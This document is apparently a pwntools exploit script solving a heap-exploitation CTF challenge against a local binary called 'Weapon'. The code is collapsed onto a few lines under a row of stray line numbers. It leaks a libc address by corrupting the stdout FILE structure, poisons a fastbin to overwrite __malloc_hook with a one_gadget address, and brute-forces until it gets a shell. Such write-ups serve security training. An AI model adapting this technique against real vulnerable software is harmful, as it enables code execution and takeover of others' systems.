1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| from pwn import *
context(os='linux',arch='amd64',log_level='debug')
one_gadget = [0x45216,0x45261,0xf02a4,0xf1147]
def g(): gdb.attach(sh)
def create(size,index,name): sh.sendafter("choice >> \n",'1\n') sh.sendafter("wlecome input your size of weapon: ",str(size)+'\n') sh.sendafter("input index: ",str(index)+'\n') sh.sendafter("input your name:\n",name) def createX(size,index,name): sh.sendafter("choice >> ",'1\n') sh.sendafter("wlecome input your size of weapon: ",str(size)+'\n') sh.sendafter("input index: ",str(index)+'\n') sh.sendafter("input your name:",name)
def delete(index): sh.sendafter("choice >> \n",'2\n') sh.sendafter("input idx :",str(index)+'\n')
def deleteX(index): sh.sendafter("choice >> ",'2\n') sh.sendafter("input idx :",str(index)+'\n') def rename(index,content): sh.sendafter("choice >> \n",'3\n') sh.sendafter("input idx: ",str(index)+'\n') sh.sendafter("new content:\n",content)
def renameX(index,content): sh.sendafter("choice >> ",'3\n') sh.sendafter("input idx: ",str(index)+'\n') sh.sendafter("new content:",content)
def baopo(): create(32,0,p64(0) + p64(0x21)) create(16,1,'1'*16) create(16,2,'2'*16) create(16,3,p64(0x70)+p64(0x51))
delete(1) delete(2)
rename(2,'\x10')
create(16,4,'4'*16) create(16,5,'\x00') create(48,6,'\x00') create(48,7,'\x00') create(16,8,'\x00')
rename(0,p64(0x0)+p64(0x71))
delete(5)
rename(0,p64(0x0)+p64(0x101))
delete(5) rename(0,p64(0x0)+p64(0x71))
rename(5,'\xdd'+'\x65') create(96,5,'\x00') create(96,9,'\x00')
g()
x = '\x00' * (0x620-0x5dd-0x10) + p64(0xfbad1800) + p64(0)*3 + '\x00' rename(9,x) g() sh.recvuntil(p64(0xfbad1800)+p64(0)*3) sh.recv(8) libc_base = u64(sh.recv(8)) - 131 -0x3c5620 print(hex(libc_base)) malloc_hook = libc_base + 0x3c4b10 createX(96,5,'\x00') deleteX(5) renameX(5,p64(malloc_hook-0x23)) createX(96,5,'\x00') createX(96,1,'\x00'*0x13 + p64(one_gadget[3] + libc_base)) if(__name__ == '__main__'):
while(1): try: sh = process('./Weapon') baopo() sh.interactive() break except Exception as e: print(e) sh.close() continue '''
sh = process("./Weapon") baopo() sh.interactive() '''
|